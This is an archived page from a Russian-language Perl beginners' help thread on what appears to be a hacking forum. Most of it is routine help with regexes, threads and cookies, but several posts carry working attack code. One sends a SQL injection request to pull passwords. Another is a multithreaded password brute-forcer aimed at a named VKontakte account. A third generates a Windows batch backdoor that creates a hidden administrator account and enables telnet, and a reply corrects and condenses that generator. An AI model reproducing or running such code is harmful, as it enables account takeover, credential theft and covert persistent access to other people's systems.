Просмотр полной версии : [Perl] Новичкам: задаем вопросы
Страницы :
1
2
3
4
5
6
[
7]
use LWP::UserAgent;
print "\nTarget page:[http://wwww.localhost/pathdir/]: ";
chomp(my $target=<STDIN>);
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target ."/showthread.php?p=2067931#post2067931";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content;
print "\n[+] information : $answer\n\n";
вводим forum.antichat.ru
все чувак пащет оказывается =))) спасибо
use LWP::UserAgent;
print "\nTarget page:[http://wwww.localhost/pathdir/]: ";
chomp(my $target=<STDIN>);
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target ."/mynews.php?id=1+union+select+password+from+users/*";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content;
print "\n[+] Information : $answer\n\n";
надо регулярные выражения позубрить=)))
}{@I{er'Ы
Найдите пожалуйста ошибку в скрипте PERL(для взлома стрпниц вконтакте)
#!/usr/bin/perl
use IO::Socket;
use MD5;
use threads;
use threads::shared;
my @pass : shared;
######################################
# C!klodoL
# vkontakte.ru bruteforce with multi-threads
######################################
$dic = 'passl.txt'; #словарь паролей
$id = 64827412; #id цели
$mail = 'ilya-seleznev%40mail.ru'; #мыло, вместо @ вписать %40
$threads = 4; #количество потоков
######################################
open (pass, "<$dic");
Next:
@pass = pass();
for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
for(@trl) { $_->join; }
sub Brut
{
while (@pass){
$pass = shift @pass;
$md5 = MD5->hexhash($pass);
$sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>'vkontakte.ru',PeerPort=>80);
print $sock "HEAD http://vkontakte.ru/ HTTP/1.0\r\n".
"Host: vkontakte.ru\r\n".
"Accept: */*\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"User-Agent: Mozillo\r\n".
"Cookie: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5\r\n".
"Connection: close\r\n\r\n";
$answ = <$sock>;
close $sock;
print "$pass $answ";
if ($answ =~ /302/){
open (good, '>>good.txt');
print good "$id:$pass:$md5\n";
print "$id:$pass:$md5\n";
close good;
exit;}
}
}
goto Next;
sub pass
{
my (@mas);
while (<pass>){
push @mas, $_;
last if (@mas == 400);
}
chomp @mas;
return @mas;
}
ато у меня не сохраняются правильный пороль в good.txt
Всем привет.
Помогите составить регулярное выражение
<b><a class=link1 href="subkat.php?type=showsubkat&type2=1">ТЕКСТ1</a></b>
Нужно, чтобы ТЕКСТ1 вернуло.
if($doc =~ /|<a.+?>(.+?)<\/a>|/){
print "\n[+] $2 \n";
}else{
print "\nError\n";
}
т.е. так?
life_glider
20.04.2010, 20:33
to SeNaP:
$doc='<b><a class=link1 href="subkat.php?type=showsubkat&type2=1">ТЕКСТ1</a></b>';
if($doc=~/>([^<]+)<\/a/)
{
print $1;
}
else
{
die "error"
}
to SeNaP:
$doc='<b><a class=link1 href="subkat.php?type=showsubkat&type2=1">ТЕКСТ1</a></b>';
if($doc=~/>([^<]+)<\/a/)
{
print $1;
}
else
{
die "error"
}
Спасибо, но как сделать, чтобы
вырезало так,
$doc='<b><a class=link1 href="subkat.php?type=showsubkat&type2=1">(.+)</a></b>';
по такому шаблону.Т.е. всё что между тегами, вернуло
Всем привет.
Помогите составить регулярное выражение
<b><a class=link1 href="subkat.php?type=showsubkat&type2=1">ТЕКСТ1</a></b>
Нужно, чтобы ТЕКСТ1 вернуло.
if ($page =~ /<b><a class=link1 href=".+?">(.+?)<.a><.b>/i) { .. };
}{@I{er'Ы
Найдите пожалуйста ошибку в скрипте PERL(для взлома стрпниц вконтакте)
#!/usr/bin/perl
....
ато у меня не сохраняются правильный пороль в good.txt
ошибки нету, скрипты старый. для вк и других соц. сетей есть другой раздел на этом форуме.
mazaxaka
21.04.2010, 14:15
как заставить перk работать с https \ssl
IO::Socket::SSL поставить
Vlad&slav
25.04.2010, 18:03
где ошибко?
# perl
$a=3;
$b=5;
my $aaa = $b%$a;
print $aaa;
sleep (123);
где ошибко?
Результат в консоли ждёшь..?!
# perl
$a=3;
$b=5;
my $aaa = $b%$a;
print $aaa."\n";
sleep (123);
Mr.Replica
01.05.2010, 12:47
Пишу авторег,не могу выставить функцию чтоб ключ AC выдирал из файла Key.txt
#antigate
my $AC_HOST = 'antigate.com';
#AC key
my $AC_KEY = 'key.txt';
Где ошибка??
Ошибка вероятней всего в авторе кода, который не хочет/не может прочитать элементарный материал и уже начинает "программировать".
Vlad&slav
05.05.2010, 21:55
Помогите исправить ошибки в функции
#!/usr/bin/perl
use Socket;
sub anti_num_capcha
{
$_[0] =~/Время на раздумье 1 минута\: (.+) \=/;
my($ch1,$ch2) = split(/+/, $1);
print $ch1;
print $ch2;
$host = 'iiii.eu5.org';
$doc = '/anc/index.php?text='.sh1;
$conn = IO::Socket::INET->new(Proto => 'tcp',
PeerAddr => $host,
PeerPort => "http(80)");
|| die "Can’t connect\n";
if (!$conn);
$conn->autoflush(1);
print $sock join(
"GET / HTTP/1.0",
"Host: 127.0.0.1",
"User-Agent: Agent v 1.0",
"", "");
my $res1;
while (<$sock>) { $res1 = $res1.<$sock>; }
close $sock;
$doc = '/anc/index.php?text='.sh2;
$conn = IO::Socket::INET->new(Proto => 'tcp',
PeerAddr => $host,
PeerPort => "http(80)");
|| die "Can’t connect\n";
if (!$conn);
$conn->autoflush(1);
print $sock join(
"GET / HTTP/1.0",
"Host: 127.0.0.1",
"User-Agent: Agent v 1.0",
"", "");
my $res2;
while (<$sock>) { $res1 = $res2.<$sock>; }
close $sock;
return $res1 + $res2;
}
print anti_num_capcha('Для подтверждения того что вы человек, напишите ответ на несложный пример. Время на раздумье 1 минута: сорок пять + шестнадцать =');
sleep(123);
use strict;
use warnings;
perldoc -f join
print и снифер для отладки
Это варнинг, который намекает, что ты использовал массив results только один раз в коде.
#!/usr/bin/perl
use LWP::UserAgent;
$ua=LWP::UserAgent->new;
$ua->timeout(10);
$ua->agent("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)");
$url='http://www.digitalcybersoft.com/ProxyList/fresh-proxy-list.shtml?CONNECT';
$page=$ua->get($url);
open(LOAD,">./proxy.txt");
while($page->content=~m/(\d+\.\d+\.\d+\.\d+)\:(\d+)/)
{
print LOAD $1.":".$2."\n";
print $1.":".$2."\n";
}
мне нужно что бы скрипт грабил все прокси с опреденной страницы, а скрипт записывает в файл один прокси много раз
Модификатор g
я пробовал и с ним и без него все равно... кто нибудь исправьте ошибку в скрипте ))
$page->content помести перед while, например, так:
$page=$ua->get($url)->content;
........
while($page =~ .....
$page->content помести перед while, например, так:
$page=$ua->get($url)->content;
........
while($page =~ .....
все сделал как ты сказал, заработало...спс
Strilo4ka
20.05.2010, 18:44
Научите меня куки устанавливать с ресурса правильно...
И посылать их каждый раз при последующих запросах.
Используя Libwww. Мб участки кода :) СПС
use strict;
use LWP::UserAgent;
use HTTP::Cookies;
my $cookie_jar = HTTP::Cookies->new ('file' => 'cookie.txt', 'autosave' => 1);
my $ua = LWP::UserAgent->new;
$ua->cookie_jar ($cookie_jar);
либо
$ua->cookie_jar (HTTP::Cookies->new ('file' => 'cookie.txt', 'autosave' => 1));
Vlad&slav
27.05.2010, 23:16
как мне сделать?
переменная = 0;
Потом запускаю функцию в несколько потоков и в функции к переменной прибавляем число
Переменная должна увеличиваться тоесть какбе быть глобально
чтобы было понятно
надо получить не 22222 а 2345678
use Threads;
use Threads::shared;
my $a = 1;
my $threads = 10;
for(1..$threads) { $thread[$_] = threads->create(\&b);}
for(1..$threads) { $thread[$_]->join; }
sub b {
$a = $a + 1;
print $a."\n";
}
sleep 123;
не как не врублюсь в многопоточность вот я запустил скрипт который сверху 10 потоков прошло и скрипт вырубился можно показать на скрипте сверху как брать логины из txt файла login;password и подключаться к например к сайту как бы сделать авторизацию
use warnings;
use LWP::UserAgent;
use threads;
use threads::shared;
my $threads = 2;
my $file = 'test.txt';
open(F, "<$file") || die $!;
chomp(my @text : shared = <F>);
close F;
my @trl = ();
my $ua = new LWP::UserAgent;
$trl[$_] = threads->create(\&main) for 0..$threads-1;
$_->join for @trl;
sub main
{
while(@text)
{
my $line = shift @text;
my $code = $ua->get('http://rambler.ru/'.$line)->code;
print "$line -- $code\n";
}
}
taxpayer
02.06.2010, 15:56
Kaimi, наверно, корректнее использовать замки при шифте расшаренного массива?
my $line;
{
lock text;
$line = shift @text
}
Kaimi, наверно, корректнее использовать замки при шифте расшаренного массива?
По-моему я где то читал, что в данном случае это не требуется
SHok-SQL
08.06.2010, 02:24
Люди подскажыте почему в создаваемом файле там где не надо строки переносятся ? о_О
#!/usr/bin/perl
################################################## #############
#### ####
#### Здароваемся :-D ####
#### ####
################################################## #############
system ("color 02");
print " ************************************************** *\n";
print " ************************************************** *\n";
print " ************************************************** *\n";
print " ******* ********\n";
print " ******* SH Bat begdor generator ********\n";
print " ******* ********\n";
print " ************************************************** *\n";
print " ************************************************** *\n";
print " ************************************************** *\n";
print " ************************************************** *\n";
print " \n";
################################################## #############
#### ####
#### Расспраэваем у юзера данные о бегдоре ####
#### ####
################################################## #############
print " ************************************************** *\n";
print " ********** vvedite login uch zapisi :"; $login = <>; #Спрашеваем у юзера пароль от учотки
print " ************************************************** *\n";
print " ********** vvedete parol' ot uch zapisi : "; $pass = <>; #Спрашеваем у юзера пасс от учотки
print " ************************************************** *\n";
################################################## #############
################################################## #############
#### ####
#### создаем переменные которые надо вопхнуть в файл ####
#### ####
################################################## #############
$a = "@echo off";
$q = "chcp 1251";
$w = "net user $login $pass /add";
$e = "net localgroup Администраторы $login /add";
$r = "reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserLis t /v ваш_логин /t REG_DWORD /d 0 /f";
$s = "sc config tlntsvr start= auto";
$ts = "sc start tlntsvr";
################################################
# созаём файл и нибиваем в него переменные #
################################################
open(OUT, '>> begdor.bat');############
print OUT $a."\n";#####################
print OUT $q."\n";#####################
print OUT $w."\n";#####################
print OUT $e."\n";#####################
print OUT $r."\n";#####################
print OUT $s."\n";#####################
print OUT $ts."\n";####################
close(OUT);############################
#######################################
<>
Потому что данные вводимые с клавиатуры надо обрабатывать функцией chomp. И скажите хакеру который это писал, что бы прочитал что нибудь про экранирование.
perl script.pl login passwd
#!/usr/bin/perl
open FILE, '> output.bat';
print FILE "\@echo off\n",
"chcp 1251\n",
"net user $ARGV[0] $ARGV[1] /add\n",
"reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\Use rList /v ваш_логин /t REG_DWORD /d 0 /f\n",
"sc config tlntsvr start= auto\n",
"sc start tlntsvr";
close FILE;
Господа, такой вопрос:
Имеется расшаренная переменная: my $n : shared = 0;
в скрипте в несколько потоков выполняется функция, (допустим такая):
sub arbyte
{
while($n <= 1000)
{
$n++;
print $n."\n";
}
}
Проблема в том, что периодически несколько потоков, обрабатывают одно и то же значение $n, что очень мешает..( Как этого избежать, не теряя скорость выполнения..?!
Pashkela
09.06.2010, 03:18
мейби так поможет:
while ($n<= 1000) {
{ lock($n);
$n++; }
print $n."\n";
}
anubis666
11.06.2010, 19:45
Как выбрать только первые 2а символа из ip адреса например из 10.33.235.101 ?
Зарание спасибо!
Как выбрать только первые 2а символа из ip адреса например из 10.33.235.101 ?
Зарание спасибо!
$ip = '105.189.235.101';
$ip =~ /^(\d\d?\d?)\.(\d\d?\d?)/;
В переменных $1 и $2 будет 105 и 189 соответственно.
Pashkela
11.06.2010, 19:58
$ip = '105.189.235.101';
($a,$b) = split(/\./,$ip);
print $a."-".$b;
anubis666
11.06.2010, 20:04
Простите в регулярных выражениях я как в дремучем лесу..но меня наверно неправильно поняли,мне надо если ip 10.33.235.101 ,то значение переменной должно быть 10
Pashkela
11.06.2010, 20:07
$ip = '105.189.235.101';
($a) = split(/\./,$ip);
print $a;
Подскажите кодеры, можно ли как нибудь укоротить кодес? У меня что то варианты кончились.
perl -e "$ARGV[0] =~ tr/A-Za-z/a-zA-Z/, print $ARGV[0];" QwErTy
Ну или так:
perl -e "$_ = shift, tr/A-Za-z/a-zA-Z/, print;" QwE
Всё равно не комильфо
astrologer
12.06.2010, 11:40
perl -e "$_ = shift, tr/A-Za-z/a-zA-Z/, print;" QwE
perl -E "$_ = shift, y/A-Za-z/a-zA-Z/, say" QwE
perl -E "y/A-Za-z/a-zA-Z/, say for shift" QwE
perl -E "say $_ ^ ' ' x length for shift" QwE
perl -E "say $_^' 'x length for@ARGV" QwE
Подскажите а как в PERL'e сделать полный парсинг страницы?
Т.е. аналог preg_match_all в PHP.
Есть страница и надо вытянуть все значения, которые вытягивает регулярка.
Я пробовал вот так:
(my @items) = ($page =~ /<item num=(.*?) \/>/);
foreach $item (@items)
{
print $item."\r\n";
}
Но так выводит только первое спарсенное значение.
/<item num=(.*?) \/>/g
Спасибо большое!
А вот спаршенные данные должны быть русскими буквами, а там крякозябра.
Раньше помню как-то делал, но сейчас забыл уже как...
Как вариант кодировать в base64 и сверять с тем что мне нужно, но как-то не хочу так заморачиваться....
Не понял, можешь именно пример подсказать?
encode_utf8
decode_utf8
from_to
и т.д... не помогает)
Tigger, если страница в utf-8, то типа так:
use Encode;
$s = 'тут страница, которую парсишь';
Encode::from_to($s, 'utf-8', 'windows-1251');
Да, страница в utf-8.
Но все-ровно строка в кракозябре... Все-ровно русские символы не отображаются.
Все, разобрался, спасибо!
Такая трабла:
при написании скриптов с использованием сервиса antigate.com юзаю модуль от Kaimi http://kaimi.ru/2009/05/anticaptcha-perl/
но вот проблема, на некоторых машинах отказывается работать, мотивируя этим:
undefined subroutine &IO::socket::INET called at AntiCaptcha.pm
хотя либа IO установлена и последней версии (пробовал переустанавливать)...
переустановка активперла не помогает.. Тестил на нескольких машинах (ХР, версия активперла на всех последняя)
С чем может быть связано..?!
Видимо с тем, что стоит попробовать вместо
new IO::Socket::INET (...
написать
IO::Socket::INET->new(...
Видимо с тем, что стоит попробовать вместо
new IO::Socket::INET (...
написать
IO::Socket::INET->new(...
Так и есть :) Большое спасибо..))
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot